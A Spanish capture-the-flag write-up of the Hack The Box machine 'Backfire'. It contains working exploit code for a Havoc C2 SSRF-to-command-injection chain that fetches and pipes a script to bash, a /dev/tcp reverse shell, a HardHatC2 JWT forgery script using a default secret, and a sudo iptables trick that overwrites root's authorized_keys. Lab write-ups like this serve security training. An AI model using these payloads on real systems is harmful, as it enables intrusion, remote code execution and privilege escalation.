Backfire
OS: Linux
Dificultad: Medio
Puntos: 30
Nmap Scan
ports=$(nmap -p- --min-rate=5000 10.129.217.79 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sV -sC 10.129.217.79
Nmap scan report for 10.129.217.79
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_ 256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp open ssl/http nginx 1.22.1
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=TECH LTD/stateOrProvinceName=Colorado/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2024-03-28T01:04:22
|_Not valid after: 2027-03-28T01:04:22
|_http-server-header: nginx/1.22.1
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
|_http-title: 404 Not Found
5000/tcp filtered upnp
7096/tcp filtered unknown
8000/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-open-proxy: Proxy might be redirecting requests
| http-ls: Volume /
| SIZE TIME FILENAME
| 1559 17-Dec-2024 11:31 disable_tls.patch
| 875 17-Dec-2024 11:34 havoc.yaotl
|_
|_http-title: Index of /
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeracion
Nmap nos muestra 2 puertos web 443 y 8000. En el puerto 443 solo vemos una pagina con la leyenda “404 Not Found” al contrario del puerto 8000 que nos deja descargar los siguientes archivos.
Estos archivos nos muestran la siguiente informacion.
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver
diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
Teamserver = ConnectionInfo;
Socket = new QWebSocket();
- auto Server = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+ auto Server = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
auto SslConf = Socket->sslConfiguration();
/* ignore annoying SSL errors */
SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
- Socket->setSslConfiguration( SslConf );
Socket->ignoreSslErrors();
QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
}
// start the teamserver
- if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+ if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
logger.Error("Failed to start websocket: " + err.Error())
}
Teamserver {
Host = "127.0.0.1"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}
user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}
Demon {
Sleep = 2
Jitter = 15
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}
Havoc C2 - Unauthenticated SSRF (CVE-2024-41570)
Por la informacion que nos muestran los archivos podemos identificar que se esta utilizando la tecnologia Havoc C2. Investigando si Havoc contaba con alguna vulnerabilidad reportada se identifico que podia ser vulnerable a SSRF segun el siguiente blog.
Havoc is a modern and malleable post-exploitation command and control framework.
Para comprobar que la vulnerabilidad funciona utilizamos el siguiente script. Ponemos a la escucha nuestro servidor web python.
python3 -m http.server 80
Posteriormente ejecutamos el comando.
python3 exploit.py -t https://10.129.202.126 -i 10.10.14.24 -p 80
Vemos que recibimos una respuesta correcta.
Havoc C2 - Remote Command Execute
Sin embargo esto no nos regresaba nada util para obtener ejecucion de comandos. Investigando llegamos al siguiente script que despues de prueba y error se logra crear el siguiente script tomando como base el anterior. Esto nos regresara una reverse shell.
import os
import json
import hashlib
import binascii
import random
import requests
import argparse
import urllib3
urllib3.disable_warnings()
from Crypto.Cipher import AES
from Crypto.Util import Counter
key_bytes = 32
def decrypt(key, iv, ciphertext):
if len(key) <= key_bytes:
for _ in range(len(key), key_bytes):
key += b"0"
assert len(key) == key_bytes
iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
plaintext = aes.decrypt(ciphertext)
return plaintext
def int_to_bytes(value, length=4, byteorder="big"):
return value.to_bytes(length, byteorder)
def encrypt(key, iv, plaintext):
if len(key) <= key_bytes:
for x in range(len(key),key_bytes):
key = key + b"0"
assert len(key) == key_bytes
iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
ciphertext = aes.encrypt(plaintext)
return ciphertext
def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
# DEMON_INITIALIZE / 99
command = b"\x00\x00\x00\x63"
request_id = b"\x00\x00\x00\x01"
demon_id = agent_id
hostname_length = int_to_bytes(len(hostname))
username_length = int_to_bytes(len(username))
domain_name_length = int_to_bytes(len(domain_name))
internal_ip_length = int_to_bytes(len(internal_ip))
process_name_length = int_to_bytes(len(process_name) - 6)
data = b"\xab" * 100
header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
print("[***] Trying to register agent...")
r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")
def open_socket(socket_id, target_address, target_port):
# COMMAND_SOCKET / 2540
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x02"
# SOCKET_COMMAND_OPEN / 16
subcommand = b"\x00\x00\x00\x10"
sub_request_id = b"\x00\x00\x00\x03"
local_addr = b"\x22\x22\x22\x22"
local_port = b"\x33\x33\x33\x33"
forward_addr = b""
for octet in target_address.split(".")[::-1]:
forward_addr += int_to_bytes(int(octet), length=1)
forward_port = int_to_bytes(target_port)
package = subcommand+socket_id+local_addr+local_port+forward_addr+forward_port
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to open socket on the teamserver...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")
# Add message param
def write_socket(socket_id, data, message):
# COMMAND_SOCKET / 2540
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x08"
# SOCKET_COMMAND_READ / 11
subcommand = b"\x00\x00\x00\x11"
sub_request_id = b"\x00\x00\x00\xa1"
# SOCKET_TYPE_CLIENT / 3
socket_type = b"\x00\x00\x00\x03"
success = b"\x00\x00\x00\x01"
data_length = int_to_bytes(len(data))
package = subcommand+socket_id+socket_type+success+data_length+data
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
post_data = agent_header + header_data
print("[***] Trying to write to the socket")
r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")
def read_socket(socket_id):
# COMMAND_GET_JOB / 1
command = b"\x00\x00\x00\x01"
request_id = b"\x00\x00\x00\x09"
header_data = command + request_id
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to poll teamserver for socket output...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Read socket output successfully!")
else:
print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
return ""
command_id = int.from_bytes(r.content[0:4], "little")
request_id = int.from_bytes(r.content[4:8], "little")
package_size = int.from_bytes(r.content[8:12], "little")
enc_package = r.content[12:]
return decrypt(AES_Key, AES_IV, enc_package)[12:]
# Create functions
def create_websocket_request(HOST, PORT):
request = (
f"GET /havoc/ HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
f"Sec-WebSocket-Version: 13\r\n"
f"\r\n"
).encode()
return request
def build_websocket_frame(payload):
payload_bytes = payload.encode("utf-8")
frame = bytearray()
frame.append(0x81)
payload_length = len(payload_bytes)
if payload_length <= 125:
frame.append(0x80 | payload_length)
elif payload_length <= 65535:
frame.append(0x80 | 126)
frame.extend(payload_length.to_bytes(2, byteorder="big"))
else:
frame.append(0x80 | 127)
frame.extend(payload_length.to_bytes(8, byteorder="big"))
masking_key = os.urandom(4)
frame.extend(masking_key)
masked_payload = bytearray(byte ^ masking_key[i % 4] for i, byte in enumerate(payload_bytes))
frame.extend(masked_payload)
return frame
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")
args = parser.parse_args()
# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
"User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))
USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"
host = "127.0.0.1"
port = 40056
# Authenticate to teamserver
message="[***] Establishing connection to teamserver ..."
websocket_request = create_websocket_request(host, port)
write_socket(socket_id, websocket_request,message)
message="[***] Authenticating to teamserver ..."
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame,message)
# Create listener
message="[***] Creating Listner ..."
payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame, message)
# SSRF Payload RCE
message="[***] Injecting Command ..."
cmd = "curl http://10.10.14.24/shell.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\": false,\n \"Injection\": {\n \"Alloc\": \"Native/Syscall\",\n \"Execute\": \"Native/Syscall\",\n \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\": \"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"Service Name\":\"" + injection + "\",\n \"Sleep\": \"2\",\n \"Sleep Jmp Gadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame,message)
Para ejecutar el script primero creamos un archivo shell.sh o el nombre que se le quiera dar.
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.24/1234 0>&1' > shell.sh
Ahora modificamos la siguiente linea con nuestra ip y el nombre del archivo que creamos.
cmd = "curl http://10.10.14.24/shell.sh | bash"
Ponemos a la escucha nuestro netcat.
nc -lvnp 1234
Por ultimo ejecutamos el exploit.
python3 exploit.py -t https://10.129.202.126 -i 127.0.0.1 -p 40056
Obtenemos una reverse shell.
Lateral Movement
Ya que la reverse shell es inestable copiaremos nuestra SSH public key en el archivo authorized_keys de la maquina para conectarnos por SSH sin necesidad de password. Generemos nuestro par de llaves si aun no las tenemos en nuestra maquina.
ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/root/.ssh/id_ed25519):
Created directory '/root/.ssh'.
Enter passphrase for "/root/.ssh/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_ed25519
Your public key has been saved in /root/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:+EuS+N0XcGJY9NyTeu4xP3ewNbjXO3W4WuGZjC9EtPw root@kali
The key's randomart image is:
+--[ED25519 256]--+
| .. |
| .o.. . |
| o oo.+ |
| .. + =. . |
| . S. =..+. |
| . o oBE=+|
| . o o ...@==|
| . + o o=oB+|
| . o ...o+.B|
+----[SHA256]-----+
Copiamos el contenido de nuestra llave publica.
cat ~/.ssh/id_ed25519.pub
Lo colocamos en el siguiente comando que ejecutaremos en la maquina victima.
ilya@backfire:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMzGW2j/Ow31DFqeZKG/mAdVl4AxLAXsXibisftIWkOr root@kali' > /home/ilya/.ssh/authorized_keys
Una vez echo esto nos podemos conectar por SSH.
ssh ilya@backfire.htb
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Tue Dec 17 11:30:51 2024 from 10.10.14.24
ilya@backfire:~$
Vemos que hay un archivo llamado hardhat.txt que menciona que se instalo HardHatC2 con las configuraciones por default.
ilya@backfire:~$ ls -la
ls -la
total 40
drwx------ 5 ilya ilya 4096 Dec 12 10:14 .
drwxr-xr-x 4 root root 4096 Sep 28 20:05 ..
lrwxrwxrwx 1 root root 9 Dec 12 10:14 .bash_history -> /dev/null
-rw-r--r-- 1 ilya ilya 220 Sep 27 16:43 .bash_logout
-rw-r--r-- 1 ilya ilya 3526 Sep 27 16:43 .bashrc
drwxr-xr-x 2 root root 4096 Sep 30 07:39 files
-rw-r--r-- 1 root root 174 Sep 28 23:02 hardhat.txt
drwxr-xr-x 10 ilya ilya 4096 Sep 27 19:18 Havoc
-rw-r--r-- 1 ilya ilya 807 Sep 27 16:43 .profile
drwxr-xr-x 2 ilya ilya 4096 Jan 21 12:07 .ssh
-rw-r----- 1 root ilya 33 Jan 20 00:33 user.txt
ilya@backfire:~$ cat hardhat.txt
cat hardhat.txt
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#
ilya@backfire:~$
Investigando vulnerabilidades sobre el software llegamos al siguiente blog que muestra varias formas de explotar fallas de seguridad. Verificamos que los puertos de HardHatC2 estan abiertos 5000 y 8443.
netstat -putona
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name Timer
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 0.0.0.0:7096 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:40056 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN - off (0.00/0/0)
Port Forwarding
Para acceder a los servicios creamos un tunel.
ssh ilya@backfire.htb -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096
Ahora podemos alcanzar los servicios de forma local.
HardHatC2 - Authentication Bypass
Despues de testear las vulnerabilidad utilizaremos 2 para escalar privilegios. Primero el bypass de autenticacion para obtener un token valido y crear un usuario con el rol de TeamLead.
Utilizaremos el siguiente script.
import jwt
import datetime
import uuid
import requests
rhost = '127.0.0.1:5000'
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
# Use Admin JWT to create a new user 'sergej' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "sergej",
"role": "TeamLead",
"username": "sergej"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
Note
Si al momento de ejecutar el script marca el siguiente error:
AttributeError: module ‘jwt’ has no attribute ’encode’
Es posible solucionarlo ejecutando los comandos.pip uninstall jwt
pip install PyJWT
Ahora ejecutamos el script y nos creara el usuario correctamente.
python3 auth-bypass.py 2>/dev/null
Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiNDdjMzg3OWUtNjk3Ny00ZTcxLThiZDUtYjUwYTVlMDQxNzQ2IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3Mzc1NTMzNjIsImV4cCI6MTczOTk3MjU2MiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.uBEENTNAuZ9FA_aJG_FTi0zBj5_B62ZpZww5UW-ISe0
User sergej created
HardHatC2 - Remote Code Execution
Una vez que creamos el usuario continuaremos con la segunda vulnerabilidad RCE. Vemos que podemos acceder al portal con el usuario creado anteriormente.
https://127.0.0.1:7096/
Para explotar la vulnerabilidad nos dirigimos a la siguiente ruta.
https://127.0.0.1:7096/ImplantInteract
En este portal crearmos una terminal y podemos ingresar comandos de sistema.
Copiamos nuevamente nuestra SSH public key para acceder por SSH.
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMzGW2j/Ow31DFqeZKG/mAdVl4AxLAXsXibisftIWkOr root@kali' > /home/sergej/.ssh/authorized_keys
Ahora nos conectamos por SSH.
ssh sergej@backfire.htb
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
sergej@backfire:~$ id
uid=1001(sergej) gid=1001(sergej) groups=1001(sergej),100(users)
Escalada de Privilegios
Vemos que el usuario tiene permitido ejecutar dos comandos como sudo.
sergej@backfire:~$ sudo -l
Matching Defaults entries for sergej on backfire:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save
iptables/iptables-save - Arbitrary File Overwrite
Investigando como podemos aprovecharnos de esos comandos llegamos al este blog donde explica paso por paso para explotar la vulnerabilidad combinando los dos comandos.
Primero escribimos nuestra SSH public key con el comando iptables.
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMzGW2j/Ow31DFqeZKG/mAdVl4AxLAXsXibisftIWkOr root@kali\n'
Verificamos que es escribio correctamente.
sudo iptables -S
Ahora utilizamos el comando iptables-save para sobreescribir el archivo authorized_keys.
sudo iptables-save -f /root/.ssh/authorized_keys
Por ultimos nos conectamos por SSH.
ssh root@backfire.htb
Referencias
https://github.com/HavocFramework/Havoc
https://blog.chebuya.com/posts/server-side-request-forgery-on-havoc-c2/
https://github.com/chebuya/Havoc-C2-SSRF-poc
https://github.com/IncludeSecurity/c2-vulnerabilities/blob/main/havoc_auth_rce/havoc_rce.py
https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7
https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/